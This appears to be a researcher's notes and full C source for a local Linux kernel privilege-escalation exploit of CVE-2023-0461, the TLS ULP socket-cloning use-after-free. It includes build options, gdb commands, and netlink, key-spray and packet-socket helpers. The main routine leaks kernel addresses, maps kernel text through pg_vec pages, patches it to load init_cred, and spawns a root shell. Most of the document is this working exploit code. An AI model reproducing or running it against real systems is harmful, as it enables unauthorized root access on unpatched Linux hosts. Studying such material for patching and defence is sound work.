CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_NET_SCHED=y
CONFIG_DEBUG_INFO=y
CONFIG_USER_NS=y   #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_TLS=y		#漏洞触发必要选项
CONFIG_XFRM_ESPINTCP=y #漏洞触发必要选项，二者选其一

https://elixir.bootlin.com/linux/v5.10/source/net/ipv4/tcp_ulp.c#L150

https://elixir.bootlin.com/linux/v5.10/source/net/core/sock.c#L1857

struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)
{
    struct proto *prot = READ_ONCE(sk->sk_prot);
    struct sock *newsk;
    bool is_charged = true;

    newsk = sk_prot_alloc(prot, priority, sk->sk_family);
    if (newsk != NULL) {
        struct sk_filter *filter;

        sock_copy(newsk, sk);

        newsk->sk_prot_creator = prot;

        /* SANITY */
        if (likely(newsk->sk_net_refcnt))
            get_net(sock_net(newsk));
        sk_node_init(&newsk->sk_node);
        sock_lock_init(newsk);
        bh_lock_sock(newsk);
        newsk->sk_backlog.head	= newsk->sk_backlog.tail = NULL;
        newsk->sk_backlog.len = 0;

        atomic_set(&newsk->sk_rmem_alloc, 0);
        /*
         * sk_wmem_alloc set to one (see sk_free() and sock_wfree())
         */
        refcount_set(&newsk->sk_wmem_alloc, 1);
        atomic_set(&newsk->sk_omem_alloc, 0);
        sk_init_common(newsk);

        newsk->sk_dst_cache	= NULL;
        newsk->sk_dst_pending_confirm = 0;
        newsk->sk_wmem_queued	= 0;
        newsk->sk_forward_alloc = 0;
        atomic_set(&newsk->sk_drops, 0);
        newsk->sk_send_head	= NULL;
        newsk->sk_userlocks	= sk->sk_userlocks & ~SOCK_BINDPORT_LOCK;
        atomic_set(&newsk->sk_zckey, 0);

        sock_reset_flag(newsk, SOCK_DONE);

        /* sk->sk_memcg will be populated at accept() time */
        newsk->sk_memcg = NULL;

        cgroup_sk_clone(&newsk->sk_cgrp_data);

        rcu_read_lock();
        filter = rcu_dereference(sk->sk_filter);
        if (filter != NULL)
            /* though it's an empty new sock, the charging may fail
             * if sysctl_optmem_max was changed between creation of
             * original socket and cloning
             */
            is_charged = sk_filter_charge(newsk, filter);
        RCU_INIT_POINTER(newsk->sk_filter, filter);
        rcu_read_unlock();

        if (unlikely(!is_charged || xfrm_sk_clone_policy(newsk, sk))) {
            /* We need to make sure that we don't uncharge the new
             * socket if we couldn't charge it in the first place
             * as otherwise we uncharge the parent's filter.
             */
            if (!is_charged)
                RCU_INIT_POINTER(newsk->sk_filter, NULL);
            sk_free_unlock_clone(newsk);
            newsk = NULL;
            goto out;
        }
        RCU_INIT_POINTER(newsk->sk_reuseport_cb, NULL);

        if (bpf_sk_storage_clone(sk, newsk)) {
            sk_free_unlock_clone(newsk);
            newsk = NULL;
            goto out;
        }

        /* Clear sk_user_data if parent had the pointer tagged
         * as not suitable for copying when cloning.
         */
        if (sk_user_data_is_nocopy(newsk))
            newsk->sk_user_data = NULL;

        newsk->sk_err	   = 0;
        newsk->sk_err_soft = 0;
        newsk->sk_priority = 0;
        newsk->sk_incoming_cpu = raw_smp_processor_id();
        if (likely(newsk->sk_net_refcnt))
            sock_inuse_add(sock_net(newsk), 1);

        /*
         * Before updating sk_refcnt, we must commit prior changes to memory
         * (Documentation/RCU/rculist_nulls.rst for details)
         */
        smp_wmb();
        refcount_set(&newsk->sk_refcnt, 2);

        /*
         * Increment the counter in the same struct proto as the master
         * sock (sk_refcnt_debug_inc uses newsk->sk_prot->socks, that
         * is the same as sk->sk_prot->socks, as this field was copied
         * with memcpy).
         *
         * This _changes_ the previous behaviour, where
         * tcp_create_openreq_child always was incrementing the
         * equivalent to tcp_prot->socks (inet_sock_nr), so this have
         * to be taken into account in all callers. -acme
         */
        sk_refcnt_debug_inc(newsk);
        sk_set_socket(newsk, NULL);
        sk_tx_queue_clear(newsk);
        RCU_INIT_POINTER(newsk->sk_wq, NULL);

        if (newsk->sk_prot->sockets_allocated)
            sk_sockets_allocated_inc(newsk);

        if (sock_needs_netstamp(sk) &&
            newsk->sk_flags & SK_FLAGS_TIMESTAMP)
            net_enable_timestamp();
    }
out:
    return newsk;
}
EXPORT_SYMBOL_GPL(sk_clone_lock);

#include "netlink_utils.h"

#define ADD_LINK  RTM_NEWLINK
#define DEL_LINK  RTM_DELLINK
#define FLUSH     RTM_GETLINK
#define ADD_ADDR  RTM_NEWADDR
#define DEL_ADDR  RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS

#define N_NET_INTERFACES 0x1800

int net_if(int action, char *type, int n, int opt, bool change) {

    struct nlmsghdr *msg;
    struct nlattr *opts;
    struct ifinfomsg ifinfo = {};
    struct ifaddrmsg ifaddr = {};
    char name[0x100] = { 0 };
    int sk;

    strcpy(name, type);

    if (n >= 0)
        snprintf(name, sizeof(name), "%s-%d", type, n);

    // Initalize a netlink socket and allocate a nlmsghdr
    sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
    if (!sk) {
        perror("nl_init_request()");
        return -1;
    }

    switch (action) {
        case ADD_LINK:
        case DEL_LINK:

            ifinfo.ifi_family = AF_UNSPEC;
            ifinfo.ifi_type = PF_NETROM;
            ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
            ifinfo.ifi_flags = opt;
            ifinfo.ifi_change = change ? 1 : 0;

            nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);

            if (action == ADD_LINK) {
                // Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
                // (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
                // This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
                nla_put_u32(msg, IFLA_MTU, 1000);
                nla_put_string(msg, IFLA_IFNAME, name);
                opts = nla_nest_start(msg, IFLA_LINKINFO);
                nla_put_string(msg, IFLA_INFO_KIND, type);
                nla_nest_end(msg, opts);
            }

            break;

        case ADD_ADDR:
        case DEL_ADDR:

            ifaddr.ifa_family = AF_INET;
            ifaddr.ifa_prefixlen = 16;
            ifaddr.ifa_flags = 0;
            ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
            ifaddr.ifa_index = if_nametoindex(name);

            nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
            nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
            nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));

            break;
    }
    // Send the netlink message and deallocate resources
    return nl_complete_request(sk, msg);
}

int setup_sandbox(void)
{
    if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
        perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
        return -1;
    }
    net_if(ADD_LINK, "lo", -1, IFF_UP, true);
    return 0;
}

int main(void)
{
    setup_sandbox();
    
}

https://tttang.com/archive/1706/

gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-0461/vmlinux" -ex "c"

p ((struct inet_connection_sock *) osk)->icsk_ulp_data

b user_preparse

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sched.h>
#include <fcntl.h>
#include <string.h>
#include <byteswap.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/tls.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netinet/in.h>

#include "netlink_utils.h"

#define ADD_LINK  RTM_NEWLINK
#define DEL_LINK  RTM_DELLINK
#define FLUSH     RTM_GETLINK
#define ADD_ADDR  RTM_NEWADDR
#define DEL_ADDR  RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS

#define N_NET_INTERFACES 0x1800

int tls1, tls2, tls3, tls4;

int net_if(int action, char *type, int n, int opt, bool change);

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("33[34m33[1m[*] Status has been saved.33[0m");
}
//CPU绑核
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("33[34m33[1m[*] Process binded to core 33[0m%dn", core);
}

int setup_sandbox(void)
{
    if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
        perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
        return -1;
    }
    net_if(ADD_LINK, "lo", -1, IFF_UP, true);

    char edit[0x200];
    int tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
    return 0;
}


int net_if(int action, char *type, int n, int opt, bool change) {

    struct nlmsghdr *msg;
    struct nlattr *opts;
    struct ifinfomsg ifinfo = {};
    struct ifaddrmsg ifaddr = {};
    char name[0x100] = { 0 };
    int sk;

    strcpy(name, type);

    if (n >= 0)
        snprintf(name, sizeof(name), "%s-%d", type, n);

    // Initalize a netlink socket and allocate a nlmsghdr
    sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
    if (!sk) {
        perror("nl_init_request()");
        return -1;
    }

    switch (action) {
        case ADD_LINK:
        case DEL_LINK:

            ifinfo.ifi_family = AF_UNSPEC;
            ifinfo.ifi_type = PF_NETROM;
            ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
            ifinfo.ifi_flags = opt;
            ifinfo.ifi_change = change ? 1 : 0;

            nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);

            if (action == ADD_LINK) {
                // Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
                // (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
                // This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
                nla_put_u32(msg, IFLA_MTU, 1000);
                nla_put_string(msg, IFLA_IFNAME, name);
                opts = nla_nest_start(msg, IFLA_LINKINFO);
                nla_put_string(msg, IFLA_INFO_KIND, type);
                nla_nest_end(msg, opts);
            }

            break;

        case ADD_ADDR:
        case DEL_ADDR:

            ifaddr.ifa_family = AF_INET;
            ifaddr.ifa_prefixlen = 16;
            ifaddr.ifa_flags = 0;
            ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
            ifaddr.ifa_index = if_nametoindex(name);

            nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
            nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
            nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));

            break;
    }
    // Send the netlink message and deallocate resources
    return nl_complete_request(sk, msg);
}

int tls1, tls2;
int set_ulp(int port){
    struct sockaddr_in addr;
    socklen_t len = sizeof(addr);
    int tls, s, s2;

    tls = socket(AF_INET, SOCK_STREAM, 0);
    s = socket(AF_INET, SOCK_STREAM, 0);

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = htons(port);

    // Put the socket into ESTABLISHED state
    if(bind(s, &addr, sizeof(addr)) < 0){
        perror("bind");
        exit(-1);
    }

    if(listen(s, 0) < 0){
        perror("listen");
        exit(-1);
    }

    if(connect(tls, &addr, sizeof(addr)) < 0){
        perror("connect");
        exit(-1);
    }

    // Initialize TLS ULP
    if(setsockopt(tls, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0){
        perror("set ulp");
    }

    return tls;
}

int clone_tls(int tls, int port){
    struct sockaddr_in addr;
    socklen_t len = sizeof(addr);
    int s, new;

    s = socket(AF_INET, SOCK_STREAM, 0);


    // Disconnect the input socket `sk`
    addr.sin_family = AF_UNSPEC;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = htons(port);

    connect(tls, &addr, sizeof(addr)); //为什么要先连接一下才能bind？

    // Listen on `sk` (This should not happen!)
    addr.sin_family = AF_INET;
    if(bind(tls, &addr, sizeof(addr)) < 0){
        perror("bind2");
        exit(-1);
    }
    if(listen(tls, 0) < 0){
        perror("listen2");
        exit(-1);
    }
    if(connect(s, &addr, sizeof(addr)) < 0 ){
        perror("connect2");
        exit(-1);
    }

    // Clone icsk_ulp_data
    new = accept(tls, &addr, &len);

    // Now the input socket `sk` and `new`
    // share the same icsk_ulp_data pointer
    return new;
}

#include "key.h"
#define TOTAL_KEYS 60
int kids[TOTAL_KEYS];
void spray_key(int times, int len){
    char des[0x100];
    memset(des, 0, sizeof(des));
    char pay[0x200];
    memset(pay, 0, sizeof(pay));
    for(int i = 0; i < TOTAL_KEYS && i < times; i++){
        memset(des, 'A'+i, 0x80);
        memset(pay, 'a'+i, len);
        kids[i] = key_alloc(des, pay, len);
        printf("kid_%d == %dn", i, kids[i]);
    }
}

#include <sys/types.h>
#include <sys/xattr.h>

void spray_attr(int times, int size){
    const char *path = "/path/to/file";
    const char *name = "user.attribute";
    const char *value = "value";
    int flags = 0; // 可以是 XATTR_CREATE 或 XATTR_REPLACE

    for(int i = 0; i < times; i++){
        setxattr(path, name, value, size, flags);
    }
}

size_t data[0x20000];
int pipe_kernel[2];

#include "pg_vec.h"
void child(){
    size_t kernel_offset_base;
    unshare_setup();
    puts("here child");
    char cmd[4];
    read(pipe_kernel[0], &kernel_offset_base, 8);
    puts("end2");
    
}
int get_one_key(char des_chr, char pay_chr, int len){
    char des[0x100];
    memset(des, 0, sizeof(des));
    memset(des, des_chr, 0x80);
    char pay[0x400];
    memset(pay, 0, sizeof(pay));
    memset(pay, pay_chr, len);
    return key_alloc(des, pay, len);
}
size_t data2[0x10000];
#define print_init_cred() 
    printf("%pn", init_cred); 
    puts("hello")

#define mov_rdi_init_cred(con) 
    memcpy(con, "x48xbf", 2);
    memcpy(con+2, &init_cred)


size_t ker_base[0x20000];
int main(void)
{   
    size_t kernel_offset_base;
    bindCore(0);
    save_status();
    unshare_setup();
    net_if(ADD_LINK, "lo", -1, IFF_UP, true);

    tls1 = set_ulp(1111);
    tls2 = clone_tls(tls1, 1112);
    printf("tls1 == %d, tls2 == %dn", tls1, tls2);

    tls3 = set_ulp(1113);
    tls4 = clone_tls(tls3, 1114);
    printf("tls3 == %d, tls4 == %dn", tls3, tls4);

    close(tls1);
    puts("sleeping ... ");
    sleep(3);
    close(tls2);
    puts("sleeping ... ");
    sleep(3);
    spray_key(1, 0x100);
    size_t data[0x1000];
    puts("spray key done");
    getchar();

    
    int key_len = key_read(kids[0], ker_base, 0x20000);
    ker_base[0] -= 0xffffffff820464c0;

    int pfd = pagealloc_pad(33, 0x1000);
    printf("pfd == %dn", pfd);

    key_len = key_read(kids[0], data, 0x20000);
    printf("key_len == %dn", key_len);
    for(int i = 0; i < 0x100; i++){
        if(data[i] >= 0xffff888000000000 && data[i] <= 0xfffffff000000000){
            printf("data -> %pn", (void *)data[i]);
            kernel_offset_base = data[i] & 0xfffffff000000000;
            break;
        }
        
    }
    printf("kernel_offset_base == %pn", (void *)kernel_offset_base);
    getchar();
    
    close(tls3);
    puts("sleeping ... ");
    sleep(3);
    close(tls4);
    puts("sleeping ... ");
    sleep(3);

    pfd = pagealloc_pad(33, 0x1000);
    printf("pfd == %dn", pfd);

    for(int i = 0; i < 34; i++){
        printf("data-> %pn", (void *)data[i]);
    }
    
    for(int i = 0; i < 3; i++){
        data2[i] = data[i] + 0x3000;
    }
    memcpy(data2+3, data, 30*8);
    data2[0] = kernel_offset_base;
    
    const char *path = "/test";
    const char *name = "user.attribute";
    const char *value = data2;
    size_t size = 0x200;
    int flags = 0; // 可以是 XATTR_CREATE 或 XATTR_REPLACE

    puts("before setxattr");
    getchar();

    int result ;
    result = setxattr(path, name, value, size, flags);
    if (result == -1) {
        perror("setxattr");
        //return 1;
    }

    puts("before mmap");
    //getchar();
    size_t *page = 0LL;
    //if (page == MAP_FAILED) {
        //perror("mmap");
        //exit(-1);
    //}
    printf("page == %pn", (void *)page);
    
    data2[0] += 0x9d000;
    result = setxattr(path, name, value, size, flags);
    if (result == -1) {
        perror("setxattr");
        //return 1;
    }
    if (page == MAP_FAILED) {
        perror("mmap");
        //exit(-1);
    }
    printf("page == %pn", (void *)page);
    
    size_t kbase = 0xffffffff81000040;
    printf("kbase == %pn", (void *)kbase);
    size_t init_cred = ker_base[0] + 0xffffffff8244c6c0;

//================================================== patch kernel ============================================================
    data2[0] = ker_base[0] + 0xffffffff8107a000;
    result = setxattr(path, name, value, size, flags);
    if (result == -1) {
        perror("setxattr");
        //return 1;
    }
    page = mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, pfd, 0); //mmap的size要和addr对齐
    if (page == MAP_FAILED) {
        perror("mmap");
        //exit(-1);
    }
    char *p = (char *)page;
    printf("page == %pn", (void *)page);
    memset(p+0xace, 0x90, 6);
    memset(p+0xad7, 0x90, 2);
    memset(p+0xade, 0x90, 6);
    memset(p+0xae8, 0x90, 2);
    memset(p+0xaee, 0x90, 6);

    memset(p+0xbbb, 0x90, 2);
    memcpy(p+0xbbd, "x48xbf", 2);
    memcpy(p+0xbbd+2, &init_cred, 8);
    


//=============================================== patch kfree ===========================================================
    data2[0] = ker_base[0] + 0xffffffff811d4000;
    result = setxattr(path, name, value, size, flags);
    if (result == -1) {
        perror("setxattr");
        //return 1;
    }
    page = mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, pfd, 0); //mmap的size要和addr对齐
    if (page == MAP_FAILED) {
        perror("mmap");
        //exit(-1);
    }
    p = page;
    memset(p+0x200, 0xc3, 2);
//===========================================================================================================================

    int end_pfd = pagealloc_pad(33, 0x1000);
    printf("end_pfd == %dn", end_pfd);
    
    setresuid(0, 0, 0);
    system("/bin/sh");
    
    while(1){
        ;
    }

    
    
}

/*
 *	Utils used to communicate with the kernel via Netlink.
 *	Useful for static linking.
 */

#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_addr.h>
#include <linux/pkt_sched.h>

#define PAGE_SIZE 0x1000
#define NL_AUTO_SEQ	0
#define NL_AUTO_PID	0

void *nlmsg_tail(const struct nlmsghdr *msg)
{
    return (unsigned char *)msg + NLMSG_ALIGN(msg->nlmsg_len);
}

void *nlmsg_data(const struct nlmsghdr *msg)
{
    return NLMSG_DATA(msg);
}

int nlmsg_datalen(const struct nlmsghdr *msg)
{
    return msg->nlmsg_len - NLMSG_HDRLEN;
}

struct nlmsghdr *nlmsg_alloc(void)
{
    struct nlmsghdr *msg;

    msg = calloc(1, 0x1000);
    if (!msg)
        return NULL;

    msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0));
    return msg;
}

struct nlmsghdr *nlmsg_init(int type, int flags)
{
    struct nlmsghdr *msg;

    msg = nlmsg_alloc();
    if (!msg)
        return NULL;

    msg->nlmsg_type  = type;
    msg->nlmsg_flags = flags;
    msg->nlmsg_seq   = NL_AUTO_SEQ;
    msg->nlmsg_pid   = NL_AUTO_PID;

    return msg;
}

void nlmsg_free(struct nlmsghdr *msg)
{
    free(msg);
}

int nl_init_request(int type, struct nlmsghdr **msg, int flags)
{
    int sk;
    struct nlmsghdr *n;

    sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (sk < 0)
        return -1;

    n = nlmsg_init(type, flags);
    if (!n) {
        close(sk);
        return -1;
    }

    *msg = n;
    return sk;
}

void *nlmsg_reserve(struct nlmsghdr *msg, size_t len, int pad)
{
    char *data = (char *)msg;
    size_t tlen;

    tlen = NLMSG_ALIGN(len);
    data += msg->nlmsg_len;
    msg->nlmsg_len += tlen;

    if (tlen > len)
        memset(data + len, 0, tlen - len);

    return data;
}

int nlmsg_append(struct nlmsghdr *msg, void *data, size_t len, int pad)
{
    void *tmp;

    tmp = nlmsg_reserve(msg, len, pad);
    if (tmp == NULL)
        return -1;

    memcpy(tmp, data, len);
    return 0;
}

int nl_sendmsg(int sk, struct nlmsghdr *msg)
{
    struct iovec iov = {};
    struct msghdr hdr = {};

    if (sk < 0)
            return -1;

    iov.iov_base = (void *)msg;
        /*
     *	Here add NLMSG_GOODSIZE (0xec0) to the total message length
     *	to be sure the msg in netlink_alloc_large_skb() is allocated using vmalloc():
         *      https://elixir.bootlin.com/linux/v6.1/source/net/netlink/af_netlink.c#L1190
     *	Useful to reduce noise in kmalloc-512 slabs.
     */
    iov.iov_len = msg->nlmsg_len + 0xec0;

    hdr.msg_name = NULL;
    hdr.msg_namelen = sizeof(struct sockaddr_nl);
    hdr.msg_iov = &iov;
    hdr.msg_iovlen = 1;

    return sendmsg(sk, &hdr, 0);
}

int nl_complete_request(int sock, struct nlmsghdr *msg)
{
    int ret;

    ret = nl_sendmsg(sock, msg);
    nlmsg_free(msg);
    close(sock);

    return ret;
}

void *nla_data(const struct nlattr *nla)
{
    return (char *)nla + NLA_HDRLEN;
}

int nla_attr_size(int payload)
{
    return NLA_HDRLEN + payload;
}

int nla_total_size(int payload)
{
    return NLA_ALIGN(nla_attr_size(payload));
}

int nla_padlen(int payload)
{
    return nla_total_size(payload) - nla_attr_size(payload);
}

struct nlattr *nla_reserve(struct nlmsghdr *msg, int attrtype, int attrlen)
{
    struct nlattr *nla;

    nla = (struct nlattr *)nlmsg_tail(msg);
    nla->nla_type = attrtype;
    nla->nla_len = nla_attr_size(attrlen);

    memset((unsigned char *) nla + nla->nla_len, 0, nla_padlen(attrlen));

    msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + nla_total_size(attrlen);
    return nla;
}

int nla_put(struct nlmsghdr *msg, int attrtype, int datalen, const void *data)
{
    struct nlattr *nla;

    nla = nla_reserve(msg, attrtype, datalen);
    if (!nla)
            return -1;

    memcpy(nla_data(nla), data, datalen);
    return 0;
}

int nla_put_u32(struct nlmsghdr *msg, int attrtype, uint32_t value)
{
    return nla_put(msg, attrtype, sizeof(uint32_t), &value);
}

int nla_put_string(struct nlmsghdr *msg, int attrtype, const char *str)
{
    return nla_put(msg, attrtype, strlen(str) + 1, str);
}

int nla_put_nested(struct nlmsghdr *msg, int attrtype, const struct nlmsghdr *nested)
{
    return nla_put(msg, attrtype, nlmsg_datalen(nested), nlmsg_data(nested));
}

struct nlattr *nla_nest_start(struct nlmsghdr *msg, int attrtype)
{
    struct nlattr *start = (struct nlattr *)nlmsg_tail(msg);

    if (nla_put(msg, NLA_F_NESTED | attrtype, 0, NULL) < 0)
        return NULL;

    return start;
}

int nla_nest_end(struct nlmsghdr *msg, struct nlattr *start)
{
    size_t pad, len;

    len = (char *)nlmsg_tail(msg) - (char *)start;
    start->nla_len = len;

    pad = NLMSG_ALIGN(msg->nlmsg_len) - msg->nlmsg_len;
    if (pad > 0) {
        if (!nlmsg_reserve(msg, pad, 0))
            return -1;
    }
    return 0;
}

#include <linux/keyctl.h>
#include <sys/syscall.h>
#include <unistd.h>

#define KEY_SPEC_PROCESS_KEYRING	-2	/* - key ID for process-specifi*/
#define KEYCTL_UPDATE			2	/* update a key */
#define KEYCTL_REVOKE			3	/* revoke a key */
#define KEYCTL_UNLINK			9	/* unlink a key from a keyring */
#define KEYCTL_READ			11	/* read a key or keyring's cont*/

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen, 
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>

void err_exit(char *s){
    perror(s);
    exit(-1);
}
void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
        err_exit("FAILED to create a new namespace");

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}


void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);
   
    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) puts("socket(AF_PACKET)"), exit(-1);
    
    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);
    
    return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}